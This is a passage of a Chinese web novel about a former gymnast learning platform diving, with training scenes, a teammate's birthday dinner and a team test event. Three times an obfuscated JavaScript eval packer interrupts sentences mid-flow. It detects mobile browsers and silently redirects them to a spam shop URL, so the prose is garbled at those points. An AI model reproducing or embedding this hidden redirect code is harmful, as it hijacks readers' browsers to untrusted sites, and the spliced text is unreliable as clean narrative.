“之前做过105抱膝，那就先试下107抱膝，待会儿把抱膝姿态换成屈体。”孔教练大声喊道。 姜广点点头，双腿深深地屈膝起跳，孔教练此时相当用力的拉住保护绳。姜广身子团在一块，腹部发力，旋转翻腾的速度很快，三周半轻松完成，头朝着蹦网做出打开入水动作。 “翻的挺好的，就是你身子控制的不好，现在在网上起跳上半身就有点歪，可以理解，等你到跳台上，可不能这样。” 姜广乖乖点头，又重复跳了好几次，直到三周半的动作都熟悉了才开始转做屈体。 屈体动作由于是身子紧贴着，整个身体的姿态比抱膝来说要更宽更长，从而会对运动员的翻腾速度有影响。所以一般情况下，屈体的动作姿态都会对运动员来说有更高的能力要求。 “贴住了，你刚刚在垫子上是这样的吗？”孔教练等他停下来后放下保护绳，走到他面前问。 姜广摇脑袋，“我有点没控制好。” “你这身体越贴不紧，那你肯定是会翻的越吃力的。你总不可能说屈体做不好，就不学了吧？你能全部做抱膝动作吗？” “现在冷静一下，把脑子里乱七八糟的东西全给我甩干净了，脑子清醒一点，把动作技术要求全部回想一遍。” “这还是我教你，等余导回来，看到你这种状态，不被骂哭都算轻的了。快点啊，状态调整一下。” 孔教练确实算严厉但又相较之下言辞会轻许多，姜广今天做屈体空翻，总有一股力不从心的感觉。 之前在体操馆也是，自由操成套也同样会设计屈体空翻的动作，在这个动作上也常常吃苦头，落地就很容易摔。 转到跳水，如果还没有长进，那他自己肯定也不甘心。 “再来一次。”孔教练冲他说。 他点头，拍了拍腿，脑子里是动作要领，向上起跳。这次的翻腾明显轻松不少，速度也上来了，但打开定位的动作很拖沓。 好的跳水运动员，入水打开的动作自然是相当干脆利落的，因为这个环节需要非常精准的判断，可能就是拖的那0.5秒钟，入水效果就会有明显的差别。 “干脆一点，现在又不是在水面上，你怕什么呢？现在感觉你都慢慢悠悠的打开，那你到跳台上是不是准备摔进水里啊？” “再跳两次，转跳台上练，我是想知道你到底怕什么！” 又练了几次，好了一些，但距离十分的标准来说，还差一大截。 他们队里的跳水馆这段时间在翻新，他们想去台上练也只能去市里的体育大学，那学校刚好有个跳水馆。 路上姜广也没敢怎么说话，今天表现成这样，还挺怕再被多发现一条能被拿出来骂的问题。 赵渐鸿倒是一路上唧唧歪歪的，没被回应还不停戳他腰，搞的姜广怕痒也不敢乐，怕动静闹太大，被教练给听见了。 “今天我们借他们跳台用两个小时哈，就只有这么长时间，多了没有，所以对你们来说能不能利用好这点时间，很宝贵。” 这个场馆其实用的频率不是很高，之前省运动会在舟阳办过，场馆也用了几次。后续也只会在有运动会时才用得上，平时都是闭馆的。 这段时间特殊，所以也同意给跳水队当做训练场地。但因为来回过来也花时间，他们又是下午过去，所以能用的时间就更有限了。 到达时，其实发现女子跳台的一整个队伍都在了，而且都训练挺长时间了。 女队跳台的总教练刘黎在旁边看着，前段时间女子跳台拿了全运会冠军，她也算是大功臣。而且还是打败了08年刚刚上奥运夺冠的国家队选手拿下这枚全运会金牌，奖牌的含金量不言而喻。 国家队其实也联系了很多回，想让刘黎去国家队带教，但她还是都拒绝了。她说自己大概率承受不住那么大的压力，反而在舟阳心态更轻松，教学效果也更好。 “你们来多久了啊。”孔诃趁着两个人换衣服的空档和刘黎搭话。 刘黎摇摇头，“早上就在了，但是效果不太好，苏虹去了国家队，她妹妹这几天状态很差，不敢跳动作。” “小运动员都这样，而且全运会上失误了，心态上有波动很正常，这几天让她平复一下。” “道理我都懂，但运动员要是这个样子，那比赛肯定也比不好了。” 孔教练笑了笑，“你别担心了，女台人员储备多厚实啊，看看我们男台，比赛都比成什么样了，队测都挺稳定的，想着起码能比个两场，结果一上比赛在预赛就全淘汰了。” “你们比赛也没上齐主力啊，赵渐鸿不是才刚恢复没去比吗？” 孔诃等两人回来了，就又开始准备训练。“再做两组热身吧，把身体拉一拉，活动开了，然后就直接上跳台，都去十米台上跳跳，我看一看。” 赵渐鸿这段时间都没怎么训练，今天也算是近期第一次上十米台。许久没到这个高台，突然站在十米台上，自然是单看一眼都腿软。 “我的天，十米台什么时候变这么高了。”赵渐鸿身子都在发抖。 姜广眯着眼睛笑，“你跳了那么久了，这会儿怕高了？” “你过来看看。” 姜广脑袋往台外伸了伸，顿时腿软，迅速往后退了几步，双手做出一个“请”的姿势，“你比我资历老，你先。” “这时候尊老爱幼了。” 姜广狡辩，“我一直都是。” 太久没上十米台，心理压力比动作本身的顾虑要大的多，毕竟总有一种以前都是在“跳楼”的错觉。 “快点啊，时间有限。”孔教练拿着喇叭喊。 赵渐鸿退回台内，109C是向前的组别，有跑台的过程，许久没练而且腿脚刚好，这时候显得有些生疏。 或许是腿没完全好，或许是心底里有顾虑，害怕又伤了，动作放不开。赵渐鸿这时候做的109，几乎半个身子都偏了，水花都溅到了三米板上。 “你退台退的这么严重啊，果然是太久没跳，之前教的全还给我了。找找节奏，不要太着急，抱膝的时候抱紧了，打开入水也把腰收紧，你刚刚松垮垮的入水，什么效果你很清楚吧。”孔教练毫不留情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328137|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的点评。 “姜广，开始吧，想想动作，身体待会贴住了，不要松，入水也干脆一点，知道了吗？” 姜广没说话点了点头。 他刚进来那会儿，女队有几个队员，也在做107，而且做的都很好，特别是水花效果，几乎都是垂直入水，轻轻冒一点水泡，没什么水会溅起来。 也因为这个原因，姜广心理压力更大了。 而且目前还是个没在跳台上做过的新动作，心理包袱重，害怕跳的惨不忍睹，被笑话。 “放心跳，一个简单动作，没啥好怕的。”系统此刻猛地说了句话。 姜广被吓得抖了一激灵，“你怎么总是神出鬼没的。” “别打岔了，再不跳你教练得上来把你踹下去了。” 他盯着前方，长舒一口气，往前跑，依旧是非常不错的起跳。这回儿屈体的动作做的很标准，姿态很漂亮。 但入水打开判断的还是有些失误，翻过了，以致于角度差很多，哪怕水花压下去了，感官上却是差很多。 “怎么回事？”孔教练等他上岸后问道。 他摇脑袋，“就是我还是有点怕。” “你从那么高都跳下来了，都到水面上，你怕什么？你翻的那么轻松，要感受到周数啊三周左右不就要准备打开入水了，别拖，利落一点，上去继续。” “好。” 这会儿赵渐鸿又上了跳台，上一个109做的太差，他自己都觉得不好意思，这会儿憋着口气，要把之前水平发挥出来。 不说要多完美，起码不能有太大失误。但毕竟是四周半的动作，翻腾速度必须要快，不然到入水肯定没时间准备。 姜广爬楼梯到五米左右时，看见赵渐鸿正在高速翻腾，紧接着是一个清脆的入水声。即便没看见全程，但光听水声，就能判断出来应该是个还不错的动作。 果然，紧接着就听见孔教练拿着喇叭喊，“这次不错啊，继续保持。” 姜广迅速回爬上十米台，蹲了蹲，又拉了拉腿，这次也没想太多，准备好后就相当干脆的开始自己这一跳。 跑台稍微退了一些，但调整的很快，起跳没受什么影响。翻腾三周半对他来说，确实很轻松。 但这次入水打开，一气呵成，水花压的也很死。同样的，这也是一个相当不错的动作。 “很不错啊，这次怎么跳的，记住了，待会儿就继续保持这种状态啊。” 孔诃刚说完，刘黎凑过来和他聊天，“这挺好的啊，就是107对男生来说，难度太低了。” “确实，但他没练多久，这水平也算是挺好的。” “之前练体操的是吧。” “对啊，被余导给挖过来的，说是下下个周期的储备苗子。” 刘黎点点头，“挺好的，就是感觉他和赵渐鸿还挺有默契的，两个人要好都好，一个人没跳好，另一个也跟着炸。” “也是，不知道哪来的默契，这么同步。”孔诃苦笑一声。 刘黎拍拍孔诃的肩膀，“这不挺好，等姜广动作难度稍微上来点，就能拉着他们俩配双人了，这次我们队里双人都没出成绩，能有一对默契的那不是件好事啊。” “双人？还不错，他俩关系也不错，个头也差不多，同步观感上就不会差。”孔诃笑了笑，“到时候我和余导说一说。” 这时候，赵渐鸿刚往下跳，清脆的水声入耳，毫无疑问，又是一个好动作。 19.生日快乐 姜广从跳出一个好动作后，像是猛地打开了“任督二脉”，突然就在跳台上跳“疯”了。 接下来的训练里，动作的质量都高，虽然还没有完美到能打十分的程度，但也算是一个能拿到台面上比拼的动作。 “状态不错哈，你们俩现在都先下来。”孔诃教练拿着喇叭冲跳台上的两人喊。 两人还以为刚刚在楼梯上打嘴炮被教练听见了，心情忐忑的走到教练边上。还在滴水的刘海被捋成顺毛，小心翼翼地盯着教练看。 “背挺直，我又没说要骂人，你们缩着身子干什么啊？我很凶吗？” 姜广偏头看了赵渐鸿一眼，没打算开口说话，眼神里全是催促对方解围的信号。 “哪有，我们可没说啊。刚刚入水不是有点偏，这才以为是要被骂了呢。”赵渐鸿说完就咧着嘴笑。 孔诃拿手里的喇叭轻轻敲了敲赵渐鸿的肩膀，“也没让你这么放松，正经点儿。” “好嘞。”赵渐鸿碎嘴子接茬也快。 “是这样的哈，我个人感觉你们俩其实条件都挺不错的，刚好能配双人。但是，现在姜广你的动作难度还没上来，所以不一定能配一块儿，具体这个想法行不行，我明天和余导商量商量，今天就是和你们预告一下。” “今天训练的都不错，特别是姜广，你入水的感觉比之前好不少了，也不怕水了，动作也干净很多，继续保持哈。” 姜广毕恭毕敬，“谢谢教练。” “今天就先练到这，你们是不是住的挺近的？我让队里的小巴车先送你们回家。” “对，他和我家就不到十米。”赵渐鸿笑呵呵地说。 回去是和女队一块儿，所以是坐队里这段时间组的小巴。孔诃也和司机打了招呼，先送他们俩。 “你晚上有事吗？”赵渐鸿偏着脑袋问他。 姜广摇头，“没事，好累，现在就想窝在沙发里看电视。” “怎么今天就累了，之前可没听你说啊。” 他撇撇唇角，“今天最开始那跳，入水太差了，感觉摔水泥上一样，现在手臂这还感觉有点疼呢。” “我给你揉揉，这正常的很，新动作谁都得摔几次。”赵渐鸿立马就上手捏了捏姜广的手臂，“我今天过生日，你要不要和我吃饭去。” “啊，你不在家过吗？” 赵渐鸿无奈地耸耸肩，“我爸妈今天也没在家呢，家里就我这一个‘空巢青年’。” “没事，那就我陪你过呗，但我可没来得及准备礼物哦，待会儿到地下商场给你买。” “和我还讲这些，陪我过生日就够哥们儿了，我又不是缺礼物。” “那我待会先回去和我妈说一声，再下楼和你汇合好吧。” “行。” 到家后，姜广迅速换了套衣服，从自己钱包里拿了点钱，就和张雅君说自己不在家吃饭。 “你又出去干什么啊。”张雅君一手拿着锅铲，一手叉腰。 姜广实话实说，“赵渐鸿今天生日，他爸妈都不在家，我去陪他过生日。” “那就你们两个人，过什么生日啊，让他来我们家吃呗，今天刚好还做了好几道大菜呢。就现在打电话订个蛋糕，待会让你爸带回来不就行了。” “来我们家吃吗？”姜广微微有些犹豫。 张雅君慌慌张张回到厨房，大喊一声说：“我们家不也挺好的吗？还是说你觉得你妈做饭很难吃啊？” “那没有，妈你做的排不上第一也能称第二！”姜广立马附和，“那我去问问他。” “就和他好好说啊，生日肯定热闹点好嘛。” 到楼下时，赵渐鸿已经无聊地蹲在路边儿好一会儿了。手里的小灵通按个不停，玩贪吃蛇，总分神结果连第二关也过不了。 “你可总算来了，我还以为你在家上大号掉坑里了呢。”赵渐鸿小声抱怨。 姜广嘿嘿笑了两声，“不是，我妈让我问问你，愿不愿意到我们家过生日。今天我妈做了一桌子好吃的，待会让我爸带个蛋糕回去。” “这样好吗？会不会有点麻烦阿姨。” 他摇脑袋，“没有的事，我妈反正做了那么多，就多你一个而已。而且，如果你去我家，还热闹点。” “行，那谢谢你们。” 姜广把人往自己边上揽了揽，“哟，客气什么呢？前两天我带过去的饼干，你怎么不客气一下，全给我吃光了。” “嘿，那不是饿了，再说我第二天不也买了。” “买的全是我不喜欢吃的。” 赵渐鸿装没听见，“啊啊啊啊”了好多声。 “妈，我把赵渐鸿带上来了。”姜广刚开门就冲屋子里喊。 “小鸿，来啦，先坐沙发上看电视哈，饭还得等一会儿嘞。” “好的，麻烦阿姨了。” 张雅君弯着眉笑，“别客气哈，茶几上的西瓜我刚切的，很甜，尝尝看哈。” 西瓜是下午买回来冰好的，清甜冰凉，汁水充盈，非常解渴。 “感觉你家真挺好的。”赵渐鸿小声凑在姜广耳朵边上说。 “我们家也就普通家庭吧。” “你看你爸你妈天天在家，房子里有生活气息。我家就不一样，我爸妈动不动就不回来了，总是我一个人待着，感觉就是住哪儿都差不太多。” “那你以后来我家，就不会觉得冷清了，我给你腾个地打地铺。” 赵渐鸿嘿嘿笑，“为什么我只能打地铺。” “那不然，还要我打地铺吗？” “挤一挤呗。” 姜广偏头瞥了人一眼，“那我睡觉可不老实，给你踹下去，第二天训练可就遭老罪了。” “那算了，我这腿可金贵了，全靠它拿冠军呢。” 七点刚过一刻钟，姜肃带了个蛋糕回家。 “叔叔好。”赵渐鸿先开腔。 姜肃把蛋糕放在桌子上，“小鸿，生日快乐啊，也不知道你喜欢什么，我就给你买了本书，你看看喜不喜欢。” 赵渐鸿双手接过这本厚重的书，颇为认真地读出了书名——《冠军的自我修养》 “谢谢叔叔，我很喜欢。” 姜广凑热闹也过来看了一眼书名，紧接着便吐槽一句，“爸，运动员可不是看心灵鸡汤给看出来的，哪怕你买本《跳水的一百个技巧》都比这本好。” “没关系，我挺喜欢的。”赵渐鸿把书抱在胸前。 “好咯，最后一道菜了，都饿了吧，赶紧都洗手去。”张雅君捧着一盘清炒小白菜从三个人边上路过。 确实是一顿相当丰盛的晚餐，五菜一汤。油焖大虾、芹菜炒牛肉、白切鸡、西红柿炒鸡蛋、清炒小白菜和老鸭汤。 “今天的饭菜应该和你胃口吧，小鸿。” 赵渐鸿连忙点头，力度很大头发都一甩一甩的，“阿姨，你厨艺真的很好，感觉和外面的馆子做的都差不多。” “多吃点哈，这段时间其实也得感谢你在队里照顾我们姜广嘞。他去跳水队里人生地不熟，我们听他说认识的第一个人就是你。” “没事，他很厉害，天赋很高。就算不来练跳水，也能在体操出成绩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13345313|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 张雅君给两人夹了只虾，“姜广还早呢，倒是小鸿听你说都练了这么久了，也肯定能在下次比赛上拿成绩。” “借阿姨吉言了。” 这顿饭的氛围很融洽，姜广偶尔还和爸妈拌两句嘴。赵渐鸿低着脑袋，嘴里还在嚼刚剥好的虾，默默在心底里嘀咕一声，“可真好啊。” 饭后几个人吃了蛋糕，许完愿后，就都在客厅沙发上消食。 “你今天晚上在我家住呗。”姜广戳了戳看电视剧正看的入神的赵渐鸿。 赵渐鸿回过神来，立马眯了眯眼睛，咧着嘴角笑，“怎么，刚刚不是还把我踹床底下去吗？” “这不是怕你过生日孤零零在家哭鼻子。” “去你的。” 不过晚上赵渐鸿还是回家洗了个澡，就带着被子枕头去了姜广家。嘴上说的是，姜广邀请的，不能不给面子。 “你房间真不错，全是书，还以为你是什么绝世大学霸呢。”赵渐鸿随手翻了好几本，全是数学教辅资料，一堆符号，看的头疼。 “我数学这学期期末考118呢。”姜广颇为骄傲地昂起头。 赵渐鸿竖了俩大拇指，真诚道，“牛逼。” “你说我俩真搭双人得啥样？”赵渐鸿坐在姜广床上，很认真地问。 姜广摆手，“不知道，但是我得努力努力再努力才行，毕竟我动作可还比你差太多了。” “那怕什么，你今天刚学107不也跳的很好，而且我感觉你之前练体操，翻腾这些都是通的，你完全能搬过来用。” “那我怎么说也是个大龄跳水新人。”姜广自嘲。 赵渐鸿起身用房间里的电脑查跳水比赛视频，“我们看看双人比赛呗。” 网页上播放的是07年世锦赛男子双人十米台的决赛。 首先两跳都是固定动作，难度2.0的半周动作，大部分会在1到4组里选，但也有少部分会在5组比较弱的为了满足规则会把5组的动作放在固定动作里跳。 后面四跳才会有自选动作，难度会直接提升一个档次。 “这101b，你肯定能跳啊，也差不到哪去吧。英国这对冠军好就好在，同步太齐了，感觉从侧面看过去就是一个人在跳。” 姜广点头附和，“确实，挺厉害的。” “我俩也能试试同步，从门口走到床边，起跳跳到床上，看看我俩步调够不够默契。” “行啊。” 两人到门边站的笔直，房间不是很大，两人之间只有一个手掌长的空隙。 “三，二，一，开始。” 赵渐鸿发完口令，两人便开始自己的同步跑台。从步调和节奏，两人都很不错，到床边时，同时往上一跃，头朝下轻轻地撞在枕头上。 “我们还挺默契！”赵渐鸿惊喜地说。 姜广点点头，没说话，仔细听了听，“怎么感觉我房间有地方嘎吱嘎吱的在响呢？” “没有吧……” 赵渐鸿话还没说完，房间里“轰”地一声巨响，把张雅君他们都招过来了。两人身子猛地被抛起，脑子一片空白。 “怎么了！”张雅君着急忙慌地推开房门。 四人目光相对。 姜广和赵渐鸿不好意思的低下头，耳朵都红了。两人都实在是不好意思，因为他们在家没事找事，把床给跳塌了。 张雅君看到这场面时，脑子里冒出来的想法却是，这俩熊孩子看着瘦，原来这么重啊，竟然都能把床给坐塌了！！！ 果然敢从十米跳下去的，都不是好惹的主。 20.又是测试赛 床塌了，一时间也没法解决。姜肃把床的“碎片”收拾干净，搬到了客厅里。 姜广他们俩今晚是真的只能打地铺了。 “嘿，你爸妈还真好。”赵渐鸿看着孤零零一张床垫放在地面就觉得好笑。 “难不成，你想让他们打我一顿啊。” “可以吗？想看。” 姜广抡起拳头举在胸口，目光凶狠，“你说呢？” “投降！” 隔天，刚到训练馆时，姜广就看见余庆丰已经在队里等人了。 这几天余庆丰也找到了好一些还不错的苗子，过几天才会到队里。 “这几天有好好练没？”余庆丰问他。 姜广眉头一皱，以为是被孔教练告了状，“我觉得挺好的。” 心情忐忑间，余庆丰爽朗地笑，“孔教练说你练的挺好，昨天跳107也很好，今天也加把油。” “我会继续努力的。” 今天的训练日程也前几天没差太多，但姜广的重心还是在复习新动作和学习新动作上。 毕竟目前来说，他要是想去比赛难度也只能去青少年组里比，但年龄早就超了，甚至有些小朋友难度都比他高不少。 余庆丰昨天也听孔诃说了双人组合的提议，最初的想法自然是觉得姜广目前的难度储备没法支撑和赵渐鸿配对。 但孔诃极力推荐，他也相信对方的判断，最后也同意了。 大不了就拿一套简单的动作去比赛上试试，只要完成质量能提上来，难度低也算不上大问题了。 毕竟，只要保完成度，也能比上次全运会上他们队里出的双人组合表现要好一些。 “昨天孔教练也和我说了，让你去和赵渐鸿配双人，你有想法吗？”余庆丰问他。 姜广摇头又点头，“听教练的就好。” “你们可以试试，但你现在难度没上来，肯定是他迁就你做动作，你放开了做就行。” 全国俱乐部锦标赛在十二月中举行，目前留给他们配合的时间也就不到六个月。 这段时间里，姜广不仅要学习几个组别的新动作，还得空出时间和赵渐鸿进行同步性训练，保证两人的步调节奏能在一个拍子上。 目前来说，姜广只有在1组和5组的动作上有难度上3分的储备。其他几个组别，依旧是相对薄弱且不稳定的。 所以，当务之急也是在这个组别上学新动作，把难度提上来。 - 09年11月下旬，年度队内测验。 姜广在这几月里被余庆丰拿着“鞭子”在屁股后面追着赶着学动作，最后也勉强能拿出一套难度没有低太多的动作。 这段时间天天泡在水池子里，水质一般，头发也跟着褪色发黄。手臂跳多了，也疼，身上总会隔两天就添一片药贴。 特别是练207c，二组本身就是向后跳水，存在视野盲区的组别。初学动作都控制不好入水角度，一不留神就会跳偏了。 他没统计，但记得起来的平躺摔进水里的动作也有上百次。 摔进水里的瞬间，仿佛就是摔在水泥地上，水的冲击力很强，身子的每一个角落似乎都像是被虫子侵蚀。 姜广也觉得自己是个勤奋的人，不怕苦不怕累，但一天训练里摔多了，也会觉得累，甚至也想过放弃。 毕竟，当时一直摔一直摔，一个好动作也没跳出来过。他深深地开始怀疑，那个不靠谱的系统说的到底是不是真的。 他想自己可能没有那么高的天赋，反而也许根本不适合学跳水。 有几天晚上，身上的伤疼的都睡不着觉。对他上辈子练体操的日子来说，这样的时刻挺常见。但还是忍不住想哭，他有点害怕自己转项后，依旧重复之前的老路。 费劲力气，到头来却依旧籍籍无名。 哪怕这世界上有很多运动员，都会在漫长又枯燥的训练后，也拿不到大赛的入场券。 姜广却还是不甘心，他凭什么要成为偌大的运动员队伍里籍籍无名的那一个！ 他想往上爬。 之后也是更为漫长的训练。 别人走了他还在练。 心里堵着一口气，吐不出来，也舍不得放下。 直到在一天训练里，依旧忐忑的走上跳台。心率直线飙升，纵声一跃，抱膝，翻腾，打开入水。 他第一次觉得207是如此的轻松。 “非常棒啊！”余庆丰也激动地大喊。 那天他记得很清楚，自己训练结束后哭成什么样子。赵渐鸿也陪在他边上，没说话，拍拍他的后背，眼神坚定地竖了竖大拇指。 这些枯燥的日子还是只留存在了记忆里，十一月的队测，主要是选接下来锦标赛的参赛选手。 姜广很想去。 比赛对他来说不止是机会，还是很难得的锻炼。大赛小赛，他都想试试看。 一如之前的队内测试，这次也全部按照大赛的标准准备的。队里的跳水馆也在这几天刚翻新完，这次队测是翻新后的第一次使用。 十米台被放在了首个测试的项目。 “加油，哭包姜。”赵渐鸿换好泳裤后猝不及防地拍了拍姜广的肩膀。 他被吓了一激灵，“神出鬼没，人吓人吓死人，你不知道啊。” “我以为你看我了呢，不好意思。”赵渐鸿话是这么说，但一点悔改的意思也没。 “而且谁是哭包啊。” 赵渐鸿理所当然，“你呗，还能有谁。这几个月，我感觉你哭了我去年一整年的量。” “那不是，情绪激动了点。”他嘴硬。 “好咯，待会儿好好跳，看好你。” 姜广上前轻轻抱了抱赵渐鸿，“你也是。” 这回测试赛，姜广“臭手”又抽到了最后出场。对他来说，这个位次压力很大，毕竟别人早跳早轻松，他还得提着口气松不下去。 这次他单人动作成套难度总和是19.3，和一线主流运动员仍然差个1.5分左右，但对他来说已经是突飞猛进。 在整个舟阳队里，这个难度也算的上中等，并没有落下太多。 第一轮比赛正式开始。 赵渐鸿选择的是难度系数3.4的307C（反身翻腾三周半抱膝），算是他成套难度中低难度的动作了。 因为对他而言，这个动作练习了成千上万次，技术动作已经完全成型，也没什么难点，心理负担也小，最终完成的非常顺利。 收获三个9分的实得分，最终得分是91.8分的高分。 直到轮到姜广，赵渐鸿也依旧稳稳地保持在第一的位置。 姜广的动作也是全套里难度低一些的107B（向前翻腾三周半屈体），这段时间训练的侧重并不在这个动作上，也隔了断时间没跳了。所以即便他之前在这个动作上跳的很顺利，但他依旧也不能掉以轻心。 现在跳台最里侧等待时，他低头看了看自己的手掌。手腕处缠了厚厚的一圈绷带，手掌心有一条长长的疤，是上次公交车上精神不集中摔在后排台阶上磕的。 那时候他想的就是这场测试赛。 “放轻松。”他不停安抚自己的情绪。 可他依旧紧张的心率直逼180，那也得硬着头皮跳。 抬头，目光盯着前方，正前方看到的是一块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368466|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偌大的LED屏幕。 助跑开始，每一步都如约进行。 起跳，翻腾。 心态上还是被过于紧绷，动作做的小心翼翼，打开入水很犹豫，不干脆，最后翻腾速度本来就快，眨眼睛就翻过了。 入水角度差的比较多，整个身子几乎是倾斜着插进水里，脚后跟带出去的水花也多。 对他来说就是个失败的动作。 余庆丰在池边直摇头，这个动作之前训练都非常训练，今天做成这样子，确实是有些在意料之外。 “怎么回事？”余庆丰目光严厉地问。 姜广抬头，不太敢直视对方的眼睛，“我这段时间没练，有点太紧张了，当时就在想要不要打开，犹豫了一下。” “你发现没有，你什么时候做不好动作？”余庆丰继续问。 姜广低下头，发丝残留的水滴在脚尖上。“不知道。” “你就是想太多，畏手畏脚，怕什么呢？你都从台子上跳过多少次了？跳下来也就可能不到两秒的时间，你哪有那么多时间给你思考要不要打开啊。” “你越是想太多，越跳不好。但这一跳，跳完了就过去了，七个裁判的4分就是给你的教训，你要记住了！” “下一跳，大胆跳！今天如果还是这样的发挥，我会考虑让你再加训一整年再考虑出去比赛的。” 姜广没敢抬头看余教练，而是用力地点头。 “好了，休息一下，把心情松下来，一直绷着你肯定也发挥不出水平。过去坐会儿，听听音乐，放轻松。” “嗯。”他闷闷地回。 这一跳他只获得了48分，单单只是一跳就落后了四十分。 虽说要松弛一些，但他心底里确实越来越紧张了。 他找了个角落，穿好外套蹲着。 “我能用一张心理辅导卡片吗？”他问那个冷漠的系统。 系统是依旧冰冷的电子音，“你确定使用吗？这只是一场队内测验而已。” 他点头。 “这场比赛对我来说很重要，我不能输的太难看，也不想只能在场馆里练，明年的跳水锦标赛我也想伸手够一够。” “那为你使用心理排解卡片，请闭上眼睛。” 短暂的黑暗后，眼前出现的是于冈全运会上的满分一跳。 “你为什么紧张？”系统问。 姜广摇摇脑袋，“我不知道，但是太想跳好反而没底气。” “可是你都跳了那么多次了，不是吗？于冈在逆境前，依旧顶着伤，跳出了的完美发挥。” “我和他比，差距似乎是太大了。” 系统声音在此刻像是有了温度，“并没有，你要想想，我为什么在那么多人选里选择了你一个完全不会跳水的新人。” “这就说明你可以，而且很可以。你只要抛弃杂念，坚定一点，肯定差不了。” “现在开始，深呼吸五次。” …… 这张卡片其实在系统他们的后台程序里，几乎没有任何科技含量。因为在他们的视角，这张道具后面多了一句话“使用你高超的安慰技术，稳定宿主的情绪吧。” 具体能不能得到压力的释放，情绪的平复，也都靠姜广自己。 睁开眼睛后，赵渐鸿已经跳完了第二跳，依旧发挥的很好。这时候正一起蹲在他身旁，有些担心的盯着他看。 “怎么样？”赵渐鸿见他睁眼立马问道。 姜广看到人，心情莫名地安心不少。 “给我加油吧。”他低声说道。 赵渐鸿重重点头，“阿广，现在就只是训练而已，别着急，放轻松！” 21.测试赛 姜广像是一头莽撞的鹿，遇到了棘手的麻烦，没有好的办法解决，就粗暴且单纯地选择一头冲上去。 额头撞在一棵又一棵的树干上，直到头破血流，最后得到树上最后一颗果子。 他一直是被不良情绪左右的选手，从前状态好的时候，能在体操赛场上比疯了，场场上场，场场干净利落。状态低落时，却也同样的扛不住压力，比一次输一次，直到气势完全褪去。 他面对情绪也是直接的试图与大脑争夺控制权，只要够狠就能短暂的忘掉，如果没有成功，也同样是头破血淋输的惨败。 他这会儿也挣扎着试图从失败里往上钻，但片刻间他愣了愣神选择了放弃。 这种方式过于折磨，哪怕可能短短不到两分钟，但也似乎榨取了他每一寸的神经。他之后没法用饱满的精力面对后面的比赛。 摆在面前最直接的问题就是，他需要学会与失败共处。而不是逃避，比赛没有结束，一切皆有可能。 轮到他的第二跳时，他才从混乱的思绪中挣脱出来。这一跳是5组的转体动作5253b（向后翻腾两周半转体一周半），难度3.2，在女子跳台都很常见，男子十米台一流选手会选择难度更高的5255，再多转体一周。 他短暂的回想了上一跳的动作，实际上从起跳开始都开了一个相当好的头。唯一的失败就在，他犹豫的那个片刻，空中高速下落的过程里，耳朵似乎都能听见风声，明明都能放下外界的干扰，但败在了内心的动摇。 “记住那个失败的瞬间。” “你要让他再也不会发生。” 姜广在心底里轻轻对自己呢喃，紧接着抛下手里的毛巾，放下杂念，走向跳台的末端，背对水面，向上举起自己的双手示意。 脚尖绷紧，紧接着便是一个强有力的起跳动作，高度很高，给予动作施展的空间相当地大。 转体动作是他目前的难点，身体的控制会存在误差，但这次的一周半的转体依旧显的相当轻盈。 紧接着的两周半屈体动作也同样是衔接的很紧凑，直到打开入水，整个动作做完都很轻巧，身子的力量感很足，转速够快，裁判的印象里就会认为选手的能力是不错的。 唯一的瑕疵是在入水后的动作里，水花没有压死，水花没溅出来，但随后又猛地往上冒了一个水柱。 余庆丰简单地说了说关于这一跳动作里出现的问题，但脸上是有笑容的，最后还拍了拍他的肩膀，“大胆跳，不要害怕，你都练了这么久了，水有什么好怕的，空中的动作对你来说都很容易的。” “姜广，记住了，我从来没有觉得自己有看错人。” 他点头，转身后长长地舒一口气。 这一跳最终得分两个八分一个七点五，单跳总分75.2，依旧还保留着很大的进步空间。 转身回热水池时，赵渐鸿已经在三米台的台阶上等待往上走，他远远地冲姜广竖大拇指，双唇缓慢地说话，看口型应该说的是，“很厉害了。” 姜广冲他抬头，示意让他也好好跳。 赵渐鸿这一跳是难度系数3.6的6245d（臂力向后翻腾两周转体两周半任意），在男子十米台的竞争上这个动作不算难，因为女子都能做6243，男子要保证难度系数不脱节也需要有多转体一周的难度储备。 但对于姜广来说，可能6243都做的没底，就不用说6245了。 臂力组别毕竟是需要倒立做动作，对上肢力量要求很高，有足够稳定的臂力支撑才会有这个组别成功动作的出现。 赵渐鸿在这个组别上有相对明显的优势，他转体转的很飘逸，所以即便是两周半的转体，也做的轻松。 但这一跳也许还是有些压力，太过兴奋了一点，入水水花没有全部处理好，最后被脚尖带出来一些，但瑕不掩瑜。 